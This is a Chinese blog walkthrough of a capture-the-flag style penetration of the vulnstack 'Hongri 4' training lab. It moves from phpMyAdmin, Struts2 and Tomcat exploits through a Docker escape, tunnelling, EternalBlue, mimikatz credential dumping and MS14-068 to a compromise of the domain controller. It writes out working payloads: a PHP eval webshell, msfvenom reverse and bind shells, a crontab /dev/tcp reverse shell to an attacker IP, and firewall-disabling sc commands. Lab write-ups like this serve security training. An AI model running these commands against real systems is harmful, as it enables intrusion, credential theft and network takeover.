MENU

内网渗透-红日靶场四

April 14, 2022 • Read: 742 • Penetration testing

环境搭建

官网:http://vulnstack.qiyuanxuetang.net/vuln/detail/6/
拓扑图如下,网卡自己配,很简单
IU%S3CXXW3YRVWUDTY{4$G6.png

然后手动开启docker

cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
sudo docker-compose up -d

@K(U5O<code>F[NQ</code>3AVWV0)VMOB.png

cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615
sudo docker-compose up -d

S6WC8LB58R7)P82BGZSM4.png

cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613
sudo docker-compose up -d

69_SS~{%~UTZ(Y)`60OSAFN.png

环境就配置完成了

外网打点

V9D0@~)K724YLC1MPULZH$M.png

发现靶机,因为我们之前配环境开口了三个docker
所以端口2001,2002,2003,应该是这个,访问下就知道了

PHPmyAdmin Getshell

2003端口是熟悉的phpmyadmin,我准备这里下手
)1N%D_N)9ULLGHRPR9IAOVC.png

直接想的利用日志文件来getshell
所以查看一下配置

SHOW VARIABLES LIKE '%general%'

}_%9C{I}6U536XC8O9I{S71.png

发现没开日志读写,就手动打开日志读写功能就好
发现不行,会报错提示需要超级管理员的权限
回头一看,phpmyadmin的版本为4.8.1
6$LXY@V)8~LK2EJ5}YU$SU.png

然后去找一下 发现这个版本存在session包含漏洞
所以来利用:https://blog.csdn.net/xuandao_ahfengren/article/details/106688367

BIT@Y{7P6}<code>V8D2M~K</code>T4J.png

然后利用成功,来试试直接写马,发现不行,因为被序列化了
但是我们知道现在不是超级管理员的权限,就算拿到shell都还需要提权的
再试试写文件呢,因为这里的secure_file_priv为null,而且不是root权限所以不考虑直接写但是phpinfo里面CONTEXT_DOCUMENT_ROOT参数查看到了web路径为/var/www/html/,那我就利用php里面的file_put_contents函数在根目录去写一个木马文件:

select "<?php file_put_contents('/var/www/html/shell.php','<?php @eval($_POST[m1]);?>')?>";

访问一下包含session页面去执行这个php代码,再用蚁剑去连接就成功了
GGW(_VCWQNECYV9`LS4.png

Struts2 getshell

因为不太会Java ,直接利用工具
链接:https://pan.baidu.com/s/1sd8kjgMI1muDwW5yHruY-A?pwd=m1ka
提取码:m1ka
--来自百度网盘超级会员V3的分享
3BYF$$C$)6FSOZ{GTI8GE.png

有s2-046的漏洞
漏洞验证
P0$D_X0PLWROOHK74$_~H.png

然后发现权限还是root,进行文件上传,但是直接利用这个工具上传的jsp木马访问不了,所以直接攻击机起给web服务

python -m SimpleHTTPServer 8080

NHPXH7EN9RTJ$KZ6GNT0N.png

因为是linux系统,所以需要elf文件
直接生成一个木马文件

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.157.4 LPORT=4444 -f elf > shell.elf

然后使用工具下载下来就行

wget http://192.168.157.4:8080/shell.elf

然后查看下载结果
4J9BR~FX}MRNX1~0)Q.png

然后设置msf监听

use exploit/multi/handler  #使用监听模块
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.157.4 
set lport 4444
exploit
chmod +x shell.elf
./shell.elf

Apache Tomcat/8.5.19 Getshell

IDM~0XP~M)6}07POI9GK8YT.png

就差把版本号写脸上了,直接去找对应漏洞就行
https://www.wangan.com/articles/2739

直接写马就行
H5@PF90ICRHODI1M91ER.png

然后蚁剑连接就行
SSE$K@YYLX_OE@FV%W}RE.png

也是root权限,同样可以弹个msf或者cs

内网渗透

Doker逃逸

接上面得到msf的会话了
但是进行信息收集的时候发现ifconfig不能执行
我就觉得会不会是在其他容器里面
353H3AQ57H}3D%KC7~20Y.png

然后看见是在docker环境里
}4XS$TCCO{OG5Z`A351Z.png

所以想办法来docker逃逸
找了一篇比较好的文章:https://www.freebuf.com/articles/container/242763.html

尝试了脏牛提权docker逃逸,发现并不能成功
然后再尝试特权模式逃逸

漏洞原理

使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。

fdisk -l#查看磁盘文件

ZIAL$6$%$5L262I6NYF(G.png

新建一个m1目录
将/dev/sda1也就是磁盘挂在到这个目录下,就能通过这个目录访问真机上的文件了,成功逃逸

mkdir /m1
mount /dev/sda1 /m1
ls /m1

P262O$EIUDT(S0O_%04ZWMN.png

然后写一个定时任务来弹真机的shell

echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.157.4/9999 0>&1"  >> /m1/tmp/shell.sh
chmod +x /m1/tmp/shell.sh
cat /m1/tmp/shell.sh

echo '/2 * root bash /tmp/shell.sh' > /m1/etc/crontab

然后去监听就行
8E@GXF4OWW0XQNQ2YR01_JP.png

成功逃逸

内网穿透

用同样的方式得到shell
{TEP)S~9N3H4Q0%1ZVHLMV.png

现在拿到真机的shell了
4$KXLY28XIPB5K8ZT%NSIR0.png

发现很多网卡,排除docker容器的,然后直接扫描内网主机就好

for k in $( seq 1 255);do ping -c 1 192.168.183.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done

发现又两个存活主机
现在就是加个路由访问内网了
使用ew进行内网穿透
攻击机上

./ew_for_linux64 -s rcsocks -l 1080 -e 1234

然后centos上直接

wget http://192.168.157.4:8080/ew_for_linux64
chmod +x ew_for_linux64
./ew_for_linux64 -s rssocks -d 192.168.157.4 -e 1234

然后配置 proxychains,进去注释掉 strict_chain,将 socks5 服务器指向 127.0.0.1:1080,
之后便可以使用 proxychains 将我们的程序代理进内网了。
直接扫描内网主机开放端口

proxychains nmap -Pn -sT -sV 192.168.183.130 192.168.93.20 192.168.183.25 -F

太慢的话可以扫描一些特定端口

proxychains4 nmap -Pn -sT -T4 -p21,22,135,445,80,53,3389,8080,1433,8080 192.168.183.25

proxychains4 nmap -Pn -sT -T4 -p21,22,135,445,80,53,3389,8080,1433,8080 192.168.183.130

C{H6L_FNU{FPL`LJY8{)QY.png

发现都开着445端口
所以考虑使用永痕之蓝攻击

auxiliary/scanner/smb/smb_version

7QXGHB%IX7H5(_(R0FC.png

发现确实可以利用,记得关闭本机的火绒或者其他杀软!

exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.183.130
setg Proxies socks5:127.0.0.1:1080
set payload windows/x64/meterpreter/bind_tcp

如果发现不稳定就加路由
4{1@HQ9W{N30G9L_2~D9MS.png

域控主机打不通,试试win7
DW2JQP3}YYZ5X7V8L)HQME.png

成功上线win7,现在就是需要横向移动拿域控了

内网信息收集

发现当前用户是system权限,但是为了信息收集方便些,降权为普通用户(域用户才能执行域命令

getuid //查看当前token
use incognito //加载incognito
list_tokens -u //列出accesstoken
impersonate_token "DEMO\douser"  //模拟"DEMO\douser”用户
rev2self  //返回之前的accesstoken权限

![OLK2J4OG8XRO27QDSDN.png][33]

查看网卡信息

ipconfig /all

AYSAW2HGAT7MHC5IN74.png

查看域内主机

net view /domain:demo

ZUUO2IYOEADW4V2T.png

查看域控

net group "domain controllers" /domain

ZUUO2IYOEADW4V2T.png

域内用户

net group "domain users" /domain

2LVGNONF132Y7T.png

然后查询域控ip
@(17~SULAX0CVF(KOR117OF.png

然后就是进攻域控

whoami /user
demo\douser S-1-5-21-979886063-1111900045-1414766810-1107

ROFV16H~2KEN0SXTTD(OKC.png

先抓取一下明文密码
T_NU$DS300HFT@6C.png

得到域用户douser/Dotest123
9@2VNFHNQO559XQZGTV.png

发现远程窗口登录不行
然后进行system权限上传mimikatz.exe
}C4FU7(H10D(3Q73Y0EW@N2.png

横向移动

我们拿到了普通域用户的所有信息,可以利用MS14-068,但是条件不知道满足不,那就来试试参考链接:https://www.cnblogs.com/feizianquan/p/11760564.html
生成票据
github地址:https://github.com/abatchy17/WindowsExploits/tree/master
system权限上传ms14-068.exe
X}SW(@%541K(6G5QACB60VO.png

遇见乱码chcp 65001
但是直接上传导致运行不了ms14-068
重新传到C:/目录下成功运行

MS14-068.exe -u douser@demo.com -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130
ms-14-068.exe -u   域用户@域控名  -p 域用户密码 -s 域用户sid -d 域ip

738__TN)V}(_3{BOPM98P$A.png

如图成功生成票据文件TGT_douser@DEMO.com.ccache
导入票据
利用mimikatz注入票据,将票据伪造到当前内存中,伪造凭证,如果成功则拥有域管理权限,可任意访问域中所有机器

kerberos::purge //清空当前机器中所有凭证
kerberos::list  //查看当前机器凭证
kerberos::ptc TGT_douser@DEMO.com.ccache //将票据注入到内存中

$5TPJ47IA2SN$)8WZHA1{_U.png

访问域控

dir \\192.168.183.130\C$
dir \\WIN-ENS2VR5TR3N\C$

RQ9VQ{{BP(_UBVIOQX9D.png

成功访问,现在就是上传正向木马来得到域控的shell了
先用sc创建任务把防火墙远程关掉

sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start unablefirewall

V7IUA04QUD857B8PLJ)D9.png

写个正向木马

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=10001 -f exe -o bind.exe

先上传到win7再copy到域控主机
OVAL14T4X1GRAMU~I0UW97V.png

然后就是考虑域控怎么启动这个木马程序了
考虑写定时任务,这里还是sc写

sc \\WIN-ENS2VR5TR3N create Startup binpath= "C:\bind.exe"
sc \\WIN-ENS2VR5TR3N start Startup

[YKRSFW5ZP5Q$RYU@)J62.png

然后设置监听

use exploit/multi/handler 
set payload windows/meterpreter/bind_tcp
set AutorunScript post/windows/manage/migrate
set rhost 192.168.183.130
set lport 10001
exploit 

BYIM@D)EITF@GG1L21R1%I5.png

因为我直接用了AutorunScript后渗透进程迁移的模块,所以不存在不稳定的情况,拿下

结语

这个渗透靶场陆陆续续打了很久,因为我下来看了几本渗透的书籍,补了一下理论知识,但是懒,不想系统的整理出来,后续要快一点了,免杀也得搞搞啦,cs也要开始利用了,不说了睡觉 hh

Last Modified: June 14, 2022
Archives Tip
QR Code for this page
Tipping QR Code